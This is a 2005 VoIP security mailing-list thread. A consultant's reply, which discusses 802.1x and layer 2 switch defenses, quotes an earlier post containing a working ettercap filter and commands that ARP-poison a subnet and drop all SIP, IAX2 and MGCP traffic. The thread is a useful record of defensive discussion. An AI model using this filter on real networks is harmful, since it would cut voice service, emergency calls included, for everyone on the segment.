[VOIPSEC] VoIP Blocking Filter w/Ettercap

[Credland, Jim]

Protecting a network to which people have physical access is tricky.
Ettercap is a scary reminder of how easy it is to intercept/reroute and
generally ethernet segments.  If you've got a test network to try a man in
the middle attack on using ettercap it's well worth it for the amusement
value alone. 

In an enterprise environment requiring a high standard of VoIP security I'd
definitely be considering something like 802.1x port authentication to
reduce the risk from someone connecting a PC to the VoIP vLAN, and if it was
readily available encryption of the voice and switching traffic. 

Much of the documentation on VoIP Security seems to skip over these kinds of
problems, the NIST documents solution is use encryption, authentication and
public keys.  This does little about denial-of-service and has the lack of
support for these kinds of features in many implementations.   The Cisco
VoIP security document used to suggests you don't let anyone bad near your
switch - but I've noticed a new document on their site listing a whole load
of layer 2 security features - see
http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/networking_solutions_whi
te_paper0900aecd80240249.shtml - in the layer 2 defenses section.  I'd be
interested - if you test switch has these features - in whether or not you
can cause much distruption with these features enabled. 

I think I saw a tool for listening to intercepted RTP streams but I forget
what it's called? 

Luckly once you get out of your LAN environment to a central server or
carrier environment where there are strong physical access controls then
this kind of security becomes less critical and other problems raise their
heads instead. 

jim.credland at thus.net
Security Consultant
 

> -----Original Message-----
> From: Natas [mailto:natas05 at gmail.com] 
> Sent: 13 July 2005 02:09
> To: Voipsec at voipsa.org
> Subject: [VOIPSEC] VoIP Blocking Filter w/Ettercap
> 
> After playing around with ettercap and its filter program, 
> etterfilter, I realized how easy it would be to ARP poison a 
> network and block all VoIP packets from passing through. 
> While packet manipulation obviously isn't new, and the root 
> of the problem comes from the ease of ARP poisoning, I was 
> still kind of shocked at how easy an attack like this could 
> be pulled off in a real world scenario.
> A simple ettercap filter can be used to block all SIP, IAX2 
> and MGCP traffic, stopping any possible communication across 
> a network segment, but letting other traffic properly pass 
> through. Below is a basic filter I wrote up for this list.
> 
> 
> # blockvoip.filter
> # Proof of concept VoIP blocking filter
> # By Natas
> # Instructions:
> # Run "etterfilter blockvoip.filter -o blockvoip.ef"
> # Then "ettercap -T -q -F blockvoip.ef -M ARP /10.1.1.1-254/ //"
> 
> if (ip.proto == UDP && udp.src == 4569) {
>     msg("Killed Attempted IAX2 Connection.\n");
>     drop();
>     kill();
> }
> 
> if (ip.proto == UDP && udp.src == 5060) {
>     msg("Killed Attempted SIP Connection.\n");
>     drop();
>     kill();
> }
> 
> if (ip.proto == UDP && udp.src == 2427) {
>     msg("Killed Attempted MGCP Connection.\n");
>     drop();
>     kill();
> }
> 
> # Don't know to much about MGCP Call Agent traffic but # I 
> put it in here for the hell of it.
> if (ip.proto == UDP && udp.src == 2727) {
>     msg("Killed Attempted MGCP Call Agent Connection.\n");
>     drop();
>     kill();
> }
> 
> # End.
> 
> Obviously this is just a simple example and could easily be 
> expanded to ensure that no VoIP traffic whatsoever passes through.
> 
> I'm not sure how everyone here will feel about this little 
> example but I wanted to put it out there for everyone to see. 
> I have some other VoIP packet manipulation ideas that I am 
> playing around with.
> 
> I enjoy the VoIPSA mailing list very much and like reading 
> every ones posts and concerns. If you would like to talk off 
> the list, feel free to email me or contact me at 206-338-3337.
> 
> Natas
> 
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